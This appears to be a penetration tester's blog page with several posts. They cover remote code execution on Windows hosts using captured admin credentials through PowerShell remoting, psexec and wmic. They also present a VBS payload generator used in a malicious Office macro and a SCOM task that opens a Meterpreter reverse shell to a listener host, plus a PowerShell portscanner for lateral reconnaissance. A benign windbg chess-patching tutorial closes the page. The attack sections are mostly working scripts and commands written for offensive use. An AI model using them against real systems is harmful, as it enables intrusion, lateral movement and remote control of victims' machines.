Code Execution (Post Exploit) Order of Operations

[quick post this month, probably lower quality than usual because I'm traveling in china and writing this on a bus]

With a cleartext windows admin password in hand, there are of course multiple ways to execute code. How do other pentesters do this? If you do it differently than I do, what’s your motivation? This isn’t rhetorical – I hope both of you who read this blog let me know :)

In general, I try not to stay too rigid. In my opinion, it’s best to mimic how real operations folks operate. That said, I do have an order of preferred ways to execute remote code. Any of these could potentially be audited as a “we’re pwned” event for a blue team, but some are inherently noisier than others.

1. Remote powershell

This seems to be the most sneaky method. First, if remote powershell is enabled, people are probably using it, so you using it may not stand out. Further, if you code without using .net fragments, nothing is written to disk at all – it’s all in memory (caveat is if you compile C# in your powershell it will write artifacts to disk). If port 5985/5986 is open, this is a good bet.

$comm = {Invoke-Portscan -Hosts 192.168.1.1/24 -SkipDiscovery -noProgressMeter -Ports 443}

$secpasswd = ConvertTo-SecureString "Password" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("DOMAIN\muser", $secpasswd)
Invoke-Command -ComputerName mcomputer -Credential $mycreds -ScriptBlock $comm

2. powershell over psexec

This starts a service as system (usually), which can be noisy. Additionally, you often want to execute your own thing, which will require you to upload it to the box you’re attacking. But that said, psexec is also a common real administration method. I often find psexec already installed on many utility boxes. If port 445 is open, this is usually the method I try next – uploading a powershell script to the server and then executing it with psexec.

#powershell over psexec
#psexec has the -c option for copying executables, but doesn't work with scripts like this as well
#(because powershell.exe is the executable)

$servername = "192.168.137.100"
$username = "192.168.137.100\Administrator"
$password = "password"

$LocalOutFile = "out.txt"
$LocalPS = "mim.ps1"

$psFile = "10982124.ps1"


net use q: \\$servername\c$\Windows\Temp /user:$username $password | Out-Null
copy $LocalPS q:\$psFile
& cmd /c echo "." | psexec.exe /accepteula -u $username -p $password \\$servername powershell -executionpolicy bypass c:\Windows\Temp\$psFile >> "out.txt" 2>&1

del q:\$psFile
net use q: /delete | Out-Null

3. powershell over wmic

Even if you’re an admin on the box and you can reach port 445, psexec can be effectively disabled, for example if the ADMIN$ share is not set (i.e. you can see this access denied when admin$ is requested in a packet dump, and you can also see it in the registry at HKLM:Software\MicroSoft\Windows\CurrentVerision\Policies\System\LocalAccountTokenFilterPolicy). Anyway, if psexec and remote powershell both aren’t options, wmic has always come through for me.

$servername = "192.168.137.100"
$username = "192.168.137.100\Administrator"
$password = "password"
$LocalOutFile = "out.txt"
$LocalPS = "mim.ps1"
$psFile = "10982124.ps1"
$outFile = "99120997.nss"

#copy .ps1 to the remote server
net use q: \\$servername\c$\Windows\Temp /user:$username $password | Out-Null
copy $LocalPS q:\$psFile

#redirect output to a file on the remote server
wmic /user:$username /password:$password /node:$servername PROCESS call create "powershell -executionpolicy bypass c:\Windows\Temp\$psFile >> c:\Windows\Temp\$outFile"

#wait for execution to finish
sleep 30

#copy output back and cleanup
del q:\$psFile
copy q:\$outfile out.txt
del q:\$outFile
net use q: /delete | Out-Null

4. RDP

I’ve never HAD to use RDP, and it’s super noisy, but some things are easier with a desktop. I usually try to avoid this if I can, but especially if remote powershell isn’t enabled and 3389 is open, I’ll sometimes just go straight for RDP.

In addition to the four methods I mention above (remote ps, psexec, wmic, and RDP) there are a few other ways, at least including AT, dropping files in specific places, etc. But I can almost always get the code execution I want with above.

Yet another VBS pwncode generator

[gen_vbs.py]

The reason why there are tools like this is (probably) because nobody likes writing their malicious stuff in vbs, but sometimes vbs is the only way you can execute code.

Here are the two vbscript shellcode things I’ve used in the past: one from didierstevens, and one in metasploit. A common theme is that both of these seem to basically make a call to virtualalloc, move shellcode there, and execute it. They also both seem to flag on my AV, which after taking a bunch of stuff out, seems to just trigger on virtualalloc in vbscript whether or not it’s malicious (but I’m not 100% sure what it’s flagging on).

My script gen_vbs.py is slightly different. It will encode a file as base64 as part of the script, and then write that file to disk (this could be an exe, powershell or more vbs!). It can then execute that file. This allows quite a bit of flexability. I’ve put the script on github.

Office Doc Macros Example

This will walk through creating vbscript that will start calc when someone opens an Office document after they click through a warning. With very slight modifications you could connect back meterpreter, which I’ll show the steps in the scom example after this.

First, generate the vbscript (there isn’t much here since all it’s doing is executing calc and has no file to write)

#python gen_vbs.py --cmd="C:\\Windows\\System32\\calc.exe" --office --debug

Option Explicit

Const TypeBinary = 1
Const ForReading = 1, ForWriting = 2, ForAppending = 8

Private Function getVar(mvar)
  Dim objshell
  Dim envObj
  Set objshell = CreateObject("WScript.Shell")
  Set envObj = objshell.Environment("PROCESS")
  getVar = envObj(mvar)
End Function
Private Sub execfile()
  Dim cmd
  cmd = "C:\Windows\System32\calc.exe"
  cmd = Replace(cmd, "%TEMP%", getVar("temp"))
  cmd = Replace(cmd, "%SYSTEMROOT%", getVar("windir"))
  Dim runObj
  Set runObj = CreateObject("Wscript.Shell")
  runObj.run cmd, 0, true
End Sub
  
Sub AutoOpen()
   execfile
End Sub

Notice the AutoOpen() command, which will trigger when a word document is opened (if the settings allow it). There are several other places to trigger functions, such as AutoClose(). Here are several.

Anyway, create a new word document. I’m using Office 2013. Then go to view -> macros.

viewmacro

Click create, and paste the vbscript in the file.

What happens when a user opens it depends on their macro settings. The default is to “Disable all macros with notification”, so they’ll probably get a nasty warning like this.

disabled_macros

If they open the document and enable macros, calc will run. It’s one of the oldest social engineer things on earth.

macro_run

SCOM Example

My good friend Justin gave an awesome talk at defcon. One of the examples he gave was code execution on the domain controller through a compromised SCOM monitoring server. SCOM boxes are often more exposed than a domain controller, and can run arbitrary code on other boxen (like domain controllers). But guess what? They do it through vbscript.

First let’s figure out what we want to execute. I’m using powersploit as the stage one for a reverse metasploit meterpreter shell. So I grab Invoke-Shellcode and add the following line to the ps1

Invoke-Shellcode -Force -Payload windows/meterpreter/reverse_https -Lhost 192.168.3.154 -UserAgent "Microsoft Word" -Lport 443

Next, let’s generate our vbscript so the powershell executes on the server we want. Call my script like this

# python gen_vbs.py --inputFile ./Invoke-Shellcode.ps1 \
--writeFilePath="%TEMP%\\invoke_ping.ps1" \
-cmd="%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe \
-executionpolicy bypass  %TEMP%\\invoke_ping.ps1" > output.vbs

and set up a reverse meterpreter listener

msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST x.x.x.x
LHOST => 192.168.138.154
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.138.154:443/
[*] Starting the payload handler...

Justin has a walkthrough of this on the youtube video from his blog, but the quick version is:Start SCOM console, connect to the server with the account, go to “Authoring -> Tasks -> Create a new task”

scom1

Follow the prompts. We want to run this on Windows servers. Let’s name in “Extended Ping”. Then paste the vbscript generated by the tool and create the task.

scom3

Go to the “Monitoring” tab, and now you’re free to execute our new task on any servers we’re monitoring

scom4

Run, and we get our meterpreter shell as system.

meterpreter

Powershell Portscanner

Here is the github link: https://github.com/webstersprodigy/PowerSploit/blob/Portscan/Recon/Invoke-Portscan.ps1. I’ve also put in a pull request on the awesome powersploit project, where hopefully it gets accepted and finds a more permanent home.

The first question is, why another port scanner?

  1. Similar to why you’d do anything in powershell in a post exploitation scenario :) You never have to write to disk, install software, or run as admin. You can just run this on any box with powershell. Nmap is better in most ways, but it doesn’t fit this bill.
  2. There are other powershell portscanners out there. Although they are good, in my opinion this is better than all of these existing scripts. For example, the one I linked to isn’t bad in any way, and is in fact the best I found comparable to what I’ve written. But it will take orders of magnitude longer to do scans, it’s not as flexible on the input options, it won’t work in powershell 2.0 out of the box (important for scenarios like I describe below), it doesn’t support ipv6, etc.
  3. Metasploit has auxilliary portscanners and it is also possible to pivot nmap scans through socks. IMO these are too slow to be usable. This looks promising http://blog.securestate.com/new-meterpreter-extension-released-msfmap-beta/ and it might be a better option if you do all your pwning through meterpreter.

Example 1 – Quick Sweep

You’ve compromised a host and you want to quickly see what other hosts/common ports are available on the same network. Say the sysadmins use RDP to manage the domain, so you’re using RDP on this host too. You don’t want to install any new software just now. My typical workflow is to actually just use -oA, which will output greppable, readable and xml files (sort of like nmap) and I use those to peruse the output. Depending on the number of hosts up, this should take about two minutes or so and it’s checking the top 50 ports.

PS> Import-Module .\Invoke-Portscan.ps1
PS> Invoke-Portscan -hosts "192.168.1.0/24" -oA stuff
PS> type .\alltest.gnmap | findstr Open
Host: 192.168.1.1       Open Ports: 443,53,22,5000
...

pscan

The module also outputs valid powershell objects, so you can save/pipe these and do the usual operations. Below is answering almost the same question

PS> Import-Module .\Invoke-Portscan.ps1
PS> $a = Invoke-Portscan -hosts "192.168.1.0/24"
PS> #print out only alive hosts
PS> foreach ($h in $a) {if ($h.alive) {$h}}

Hostname      : 192.168.1.1
alive         : True
openPorts     : {443, 53, 22, 5000}
closedPorts   : {}
filteredPorts : {80, 23, 21, 3389...}
finishTime    : 6/30/2013 11:56:54 AM

...

Example 2: Finding the way in

There are certain questions that can be hard to answer with traditional portscanning (nmap, metasploit, etc.). Say I have code execution on N boxes, but I want to make it to the “jewell box”. I currently can’t access it, but one of my N boxes may be able to access it, or something “closer” to the jewell. This can be common if they open up only certain ports and routes with IP whitelisting in related but separate environments. Behold my awesome visio skills as I demonstrate:

vlan

So what we want to do is tell all of our N boxes to scan all the hosts in vlan C, the place with the jewel, and see if any of our N boxes are able to reach it.

We can modify the invoke-powershell.ps1 script slightly to include our command at the end of it, outside of the function. This is similar to the basic usage above. But rather than execute it once, we want to try a portscan on the N hosts we control. Here is the line added to invoke-portscan, where 10.0.10.0 is the “jewel” network.

Invoke-Portscan -Hosts 10.0.10.0/24 -PingOnly -PS "80,443,445,8080,3389" -noProgressMeter

Now on the N hosts we control, we can use remote powershell, if it’s enabled. Here is a one liner that can call our modified script on a box that has remote powershell enabled. This can be easily customized to loop through all of your hosts, depending on how they auth, etc.

$a = Invoke-Command -ComputerName webstersprodigy.cloudapp.net -Port 54932 -Credential lundeen -UseSSL -FilePath C:\psScripts\Invoke-Portscan-mod.ps1

Another way to do this (other than remote powershell) is psexec. This will be executed on every host in hostfile.txt, so we’ll know about any host that can reach our destination. Obviously this is quick and dirty, but it demonstrates the flexibility.

$oFile = "pscan.txt"
$thosts = Get-Content hostfile.txt

foreach ($thost in $thosts)
{
    $nPath = "\\$thost\c$\Windows\Temp\stuff.ps1"
    copy -Path C:\Users\mopey\Desktop\Invoke-Portscan-mod.ps1 -Destination $nPath
    #psexecing powershell directly hangs as described here 
    #http://www.leeholmes.com/blog/2007/10/02/using-powershell-and-psexec-to-invoke-expressions-on-remote-computers/

    $myoutput = PsExec.exe /accepteula \\$thost cmd /c "echo . | powershell.exe -executionpolicy bypass $nPath"  2>&1 

    foreach($line in $myoutput) {
        Write-Host $line
        if($line.GetType().Name -eq "string") {
            if($line.Contains("True")) {
                echo "Source: $thost" >> $oFile
                break
            }
        }
    }
    remove-item $nPath
}

Conclusion and Lazy Reference

Thanks for reading, and let me know if you try it out, find it useful, have suggestions, etc. For the lazy, here is a reference to the args and some more examples, included with the source

> Get-Help Invoke-Portscan -full

NAME
    Invoke-Portscan
    
SYNOPSIS
    Simple portscan module
    
    PowerSploit Function: Invoke-Portscan
    Author: Rich Lundeen (http://webstersProdigy.net)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
    
SYNTAX
    Invoke-Portscan -Hosts <String[]> [-ExcludeHosts <String>] [-Ports <String>] [-PortFile <String>] [-TopPorts <String>] [-ExcludedPorts <String>] 
    [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts <String>] [-Threads <Int32>] [-nHosts <Int32>] [-Timeout <Int32>] [-SleepTimer <Int32>] [-SyncFreq <Int32>] 
    [-T <Int32>] [-GrepOut <String>] [-XmlOut <String>] [-ReadableOut <String>] [-AllformatsOut <String>] [-noProgressMeter] [-quiet] [-ForceOverwrite] 
    [<CommonParameters>]
    
    Invoke-Portscan -HostFile <String> [-ExcludeHosts <String>] [-Ports <String>] [-PortFile <String>] [-TopPorts <String>] [-ExcludedPorts <String>] 
    [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts <String>] [-Threads <Int32>] [-nHosts <Int32>] [-Timeout <Int32>] [-SleepTimer <Int32>] [-SyncFreq <Int32>] 
    [-T <Int32>] [-GrepOut <String>] [-XmlOut <String>] [-ReadableOut <String>] [-AllformatsOut <String>] [-noProgressMeter] [-quiet] [-ForceOverwrite] 
    [<CommonParameters>]
    
    
DESCRIPTION
    Does a simple port scan using regular sockets, based (pretty) loosely on nmap
    

PARAMETERS
    -Hosts <String[]>
        Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in
        
        Required?                    true
        Position?                    named
        Default value                
        Accept pipeline input?       true (ByValue)
        Accept wildcard characters?  false
        
    -HostFile <String>
        Input hosts from file rather than commandline
        
        Required?                    true
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ExcludeHosts <String>
        Exclude these comma seperated hosts
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -Ports <String>
        Include these comma seperated ports (can also be a range like 80-90)
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -PortFile <String>
        Input ports from a file
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -TopPorts <String>
        Include the x top ports - only goes to 1000, default is top 50
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ExcludedPorts <String>
        Exclude these comma seperated ports
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -SkipDiscovery [<SwitchParameter>]
        Treat all hosts as online, skip host discovery
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -PingOnly [<SwitchParameter>]
        Ping scan only (disable port scan)
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -DiscoveryPorts <String>
        Comma separated ports used for host discovery. -1 is a ping
        
        Required?                    false
        Position?                    named
        Default value                -1,445,80,443
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -Threads <Int32>
        number of max threads for the thread pool (per host)
        
        Required?                    false
        Position?                    named
        Default value                100
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -nHosts <Int32>
        number of hosts to concurrently scan
        
        Required?                    false
        Position?                    named
        Default value                25
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -Timeout <Int32>
        Timeout time on a connection in miliseconds before port is declared filtered
        
        Required?                    false
        Position?                    named
        Default value                2000
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -SleepTimer <Int32>
        Wait before thread checking, in miliseconds
        
        Required?                    false
        Position?                    named
        Default value                500
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -SyncFreq <Int32>
        How often (in terms of hosts) to sync threads and flush output
        
        Required?                    false
        Position?                    named
        Default value                1024
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -T <Int32>
        [0-5] shortcut performance options. Default is 3. higher is more aggressive. Sets (nhosts, threads,timeout)
            5 {$nHosts=30;  $Threads = 1000; $Timeout = 750  }
            4 {$nHosts=25;  $Threads = 1000; $Timeout = 1200 }
            3 {$nHosts=20;  $Threads = 100;  $Timeout = 2500 }
            2 {$nHosts=15;  $Threads = 32;   $Timeout = 3000 }
            1 {$nHosts=10;  $Threads = 32;   $Timeout = 5000 }
        
        Required?                    false
        Position?                    named
        Default value                0
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -GrepOut <String>
        Greppable output file
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -XmlOut <String>
        output XML file
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ReadableOut <String>
        output file in 'readable' format
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -AllformatsOut <String>
        output in readable (.nmap), xml (.xml), and greppable (.gnmap) formats
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -noProgressMeter [<SwitchParameter>]
        Suppresses the progress meter
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -quiet [<SwitchParameter>]
        supresses returned output and don't store hosts in memory - useful for very large scans
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ForceOverwrite [<SwitchParameter>]
        Force Overwrite if output Files exist. Otherwise it throws exception
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer and OutVariable. For more information, see 
        about_CommonParameters (http://go.microsoft.com/fwlink/?LinkID=113216). 
    
INPUTS
    
OUTPUTS
    
NOTES
    
    
        version .13
    
    -------------------------- EXAMPLE 1 --------------------------
    
    C:\PS>Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50
    
    
    Description
    -----------
    Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and microsoft.com
    
    
    
    
    
    -------------------------- EXAMPLE 2 --------------------------
    
    C:\PS>echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080"
    
    
    Description
    -----------
    Does a portscan of "webstersprodigy.net", and writes a greppable output file
    
    
    
    
    
    -------------------------- EXAMPLE 3 --------------------------
    
    C:\PS>Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet
    
    
    Description
    -----------
    Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all file formats
    
    
    
    
    
    
RELATED LINKS

http://webstersprodigy.net

Using windbg to beat my dad at chess

My dad is awesome. He always beats me at chess. With a huge nod to this uninformed post – introduction to reverse engineering win32 applications where they debug minesweeper, I decided to dive into the windows 7 chess game and see if I could give myself a bit of an advantage. I wasn’t sure exactly what I wanted to do other than that. I’ll be using Windows 7 32 bit, and the file is at C:\Program Files\Microsoft Games\Chess\. This tutorial will probably not work with anything but Windows 32 bit. This is a beginner tutorial.

Recon and Defining what we want to do

Following the uninformed post, I wondered if chess might contain symbols also, as this would make my life easier. I have this set in my config, but if you don’t then you will want to set your symbol path.

0:000> .sympath srv*c:\debug*http://msdl.microsoft.com/download/symbols
Symbol search path is: srv*c:\debug*http://msdl.microsoft.com/download/symbols
Expanded Symbol search path is: srv*c:\debug*http://msdl.microsoft.com/download/symbols
0:000> .reload /f *
0:000> lm
start    end        module name
001b0000 00474000   Chess      (pdb symbols)          c:\debug\Chess.pdb\1467728C9EEA429C9FA465213785E17C1\Chess.pdb
6e030000 6e06c000   OLEACC     (pdb symbols)          c:\debug\oleacc.pdb\DC8A57A3E8C648228F2C3650F2BE1D672\oleacc.pdb
6f900000 6f972000   DSOUND     (pdb symbols)          c:\debug\dsound.pdb\F38F478065E247C68EDA699606F56EED2\dsound.pdb

Awesome, we have a chess.pdb. In the uninformed post they use windbg to look at functions, but I find IDA Pro easier to read. Loading chess.exe into IDA we see quite a few functions right off the bat that look interesting. It looks like there’s a Pawn class, a knight class, a bishop class, etc

Pawn::GetCaptureMoves(int const * *)   .text 0102D605 00000017 R . . . B . .
Pawn::GetShadowRadius(void)            .text 0102D621 00000007 R . . . . . .
Knight::Knight(ESide)                  .text 0102D62D 0000001D R . . . B . .
Knight::Clone(void)                    .text 0102D64F 0000002B R . . . . . .
Knight::GetPassiveMoves(int const * *) .text 0102D67F 00000017 R . . . B . .
Knight::CanJump(void)                  .text 0102D69B 00000003 R . . . . . .
Knight::GetPieceType(void)             .text 0102D6A3 00000004 R . . . . . .
Knight::GetShadowRadius(void)          .text 0102D6AC 00000007 R . . . . . .
Bishop::Bishop(ESide)                  .text 0102D6B8 0000001D R . . . B . .
Bishop::Clone(void)                    .text 0102D6DA 0000002B R . . . . . .
Bishop::GetPassiveMoves(int const * *) .text 0102D70A 00000017 R . . . B . .
Bishop::GetPieceType(void)             .text 0102D726 00000004 R . . . . . .
Rook::Rook(ESide)                      .text 0102D72F 0000001D R . . . B . .
Rook::Clone(void)                      .text 0102D751 0000002B R . . . . . .

So there seem to be two outliers, knights and pawns. Knights have extra moves like canjump, and pawns can move certain places depending on other pieces, so this makes sense. Also, this gives us a big clue that these classes contain some of the logic we can use to determine which piece can move where.

So how should I beat my dad? He’s not a grandmaster, so maybe if I made bishops move like queens for me that would do the trick. There is also a board class, so another idea I had was to replace the bishops with queens when the board was setup, but that’s not the route I went.

There’s this function getpassivemove common to all the classes

0:010> x chess!*getpassivemove*
009bd781 Chess!Rook::GetPassiveMoves = <no type information>
009bd7f8 Chess!Queen::GetPassiveMoves = <no type information>
009bd67f Chess!Knight::GetPassiveMoves = <no type information>
009bd5d6 Chess!Pawn::GetPassiveMoves = <no type information>
009bd87b Chess!King::GetPassiveMoves = <no type information>
009bd70a Chess!Bishop::GetPassiveMoves = <no type information>

Setting a bp here it’s tough to tell what’s going on because it’s hit so frequently, but the functions are really simple, and for the most part they look VERY similar between pawn/rook/knight/king/etc classes

So let’s just replace the first instruction to jump to the other function. I had mona loaded into windbg here, but you can also do this with the metasploit asm shell or nasm.

What this does is modify the Chess!Bishop::GetPassiveMoves function and has it immediately jump to Chess!Queen::GetPassiveMoves. (The addresses on your box will certainly be different)

0:010> !py mona asm -s "mov eax, 0x0076d7f8#jmp eax"
Hold on...
Opcode results : 
---------------- 
 mov eax, 0x0076d7f8 = \xb8\xf8\xd7\x76\x00
 jmp eax = \xff\xe0
 Full opcode : \xb8\xf8\xd7\x76\x00\xff\xe0 

[+] This mona.py action took 0:00:02.172000

0:010> eb 0076d5d6 b8 f8 d7 76 00 ff e0
0:010> uf Chess!bishop::GetPassiveMoves
Flow analysis was incomplete, some code may be missing
Chess!bishop::GetPassiveMoves:
0076d5d6 b8f8d77600      mov     eax,offset Chess!Queen::GetCaptureMoves (0076d7f8)
0076d5db ffe0            jmp     eax
0:010> g

Sure enough, this works. When we run we can move anywhere with our bishops

powerful_bishop

Problems

At this point, even though we can move anywhere, we still have two problems we need to solve. 1) both black and white can move anywhere, so this doesn’t give me an advantage. What I really want is just white to be able to move anywhere 2) We can’t just write to this address because of ASLR and also because it’s a read only section of memory.

What does it mean for us that ASLR is enabled? Any static addresses will likely change from run to run of the chess game. Looking for non-aslred modules, there are none. By the way, I’m using mona here.

0:000> !py mona noaslr
Hold on...
No aslr & no rebase modules :
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------
 Module info :
----------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------------------

So for us, we can’t really rely on any hard coded addresses.

Additionally, even if we solved ASLR, our hard jump strategy will also fail because both white and black call the GetPassiveMoves function. We need a way to only modify that function for white.

Figuring out Whose Turn it is

Getting turn info took a bit of shooting in the dark also, but because of symbols it was relatively easy to track down.

First I put a breakpoint here:

bp Chess!GameState::GetTurn +3 "r eax; g"

This is called a lot, and it seems to return 2 or 0 for white, and 0, 1, or 2 for black. This function will probably work, but there’s another turn function too named toggleturn, so lets try that. This function seems perfect – it’s called once after every move. We can see it’s testing the value in [ecx+4] so we inspect that, and sure enough it’s 1 before a white move and 0 before a black move

bp Chess!GameState::toggleturn
dd ecx + 4

Programatically Changing the Game

I’m going to programattically debug the process. The way the uninformed post did things was cool, but it’s (more) difficult to go route way because we’re not messing with data, we’re messing with the program which is non writable. So how do we programatically debug?

There are a ton of ways. Mona uses this and it looks awesome: http://pykd.codeplex.com/. I’m a python guy, so usually I’d go that route, but I’m trying to learn powershell so I decided to try going that route and use this http://powerdbg.codeplex.com/. For the powershell to work you need to install this module.

The first thing I want to do is change the hard coded value to something I can switch back and forth. So I tried setting a breakpoint that I could disable per turn

bp Chess!Bishop::GetPassiveMoves "r eip=Chess!Queen::GetPassiveMoves;g"

This was waaaay too slow for the game to be playable. I had to figure out something else. This is when I noticed just how similar the getpassivemoves functions are

0:012> uf Chess!Bishop::GetPassiveMoves
Chess!Bishop::GetPassiveMoves:
00c5d70a 8bff            mov     edi,edi
00c5d70c 55              push    ebp
00c5d70d 8bec            mov     ebp,esp
00c5d70f 8b4508          mov     eax,dword ptr [ebp+8]
00c5d712 c700f07ec300    mov     dword ptr [eax],offset Chess!Bishop::sPassiveMoves (00c37ef0)
00c5d718 a1e87ec300      mov     eax,dword ptr [Chess!Bishop::sPassiveMovesCount (00c37ee8)]
00c5d71d 5d              pop     ebp
00c5d71e c20400          ret     4
0:012> uf Chess!queen::GetPassiveMoves
Chess!Queen::GetCaptureMoves:
00c5d7f8 8bff            mov     edi,edi
00c5d7fa 55              push    ebp
00c5d7fb 8bec            mov     ebp,esp
00c5d7fd 8b4508          mov     eax,dword ptr [ebp+8]
00c5d800 c700b880c300    mov     dword ptr [eax],offset Chess!Queen::sPassiveMoves (00c380b8)
00c5d806 a1b080c300      mov     eax,dword ptr [Chess!Queen::sPassiveMovesCount (00c380b0)]
00c5d80b 5d              pop     ebp
00c5d80c c20400          ret     4

They’re very close, and they’re the exact same number of bytes. We can just edit things on the fly, replacing the queen’s code with the bishop’s code and back again.

Import-Module PowerDbg

#global vars, populated later
$bishop_code = ""
$queen_code = ""


function bishop_to_queen
{
    $command =  "eb Chess!Bishop::GetPassiveMoves+a " + $queen_code
    Invoke-DbgCommand $command
}

function bishop_restore
{
    $command = "eb Chess!Bishop::GetPassiveMoves+a " + $bishop_code
    Invoke-DbgCommand $command
}


New-DbgSession -command 'C:\Program Files\Microsoft Games\Chess\Chess.exe'
Load-PowerDbgSymbols "srv*c:\debug*http://msdl.microsoft.com/download/symbols"


#get the bytes for the different bishop and queen functions
$bishop_array = (Invoke-DbgCommand "db Chess!Bishop::GetPassiveMoves+a L7").Split(" ")[2..8]
$bishop_code = [string]::join(" ", $bishop_array)

$queen_array = (Invoke-DbgCommand "db Chess!queen::GetPassiveMoves+a L7").Split(" ")[2..8]
$queen_code = [string]::join(" ", $queen_array)


bishop_to_queen


$white_turn = $true
Invoke-DbgCommand "bp Chess!GameState::ToggleTurn"


#this loops once per turn
while($true)
{
    if ($white_turn -eq $true)
    {
        $white_turn = $false
        bishop_to_queen
    }
    else
    {
        $white_turn = $true
        bishop_restore
    }

    $ret_error = Invoke-DbgCommand "g"

    if ($ret_error.Contains("No runnable debugees"))
    {
        break;
    }

}

And there we go, a runnable chess game where white bishops are super powerful. There are a few quirks, like if a bishop gets a king into checkmate with a queen move it doesn’t seem to register and you can kill the king and keep playing, but overall pretty good :)

king_killed

I am still a noob at reversing, but this was still a fun afternoon :)

Follow

Get every new post delivered to your Inbox.

Join 39 other followers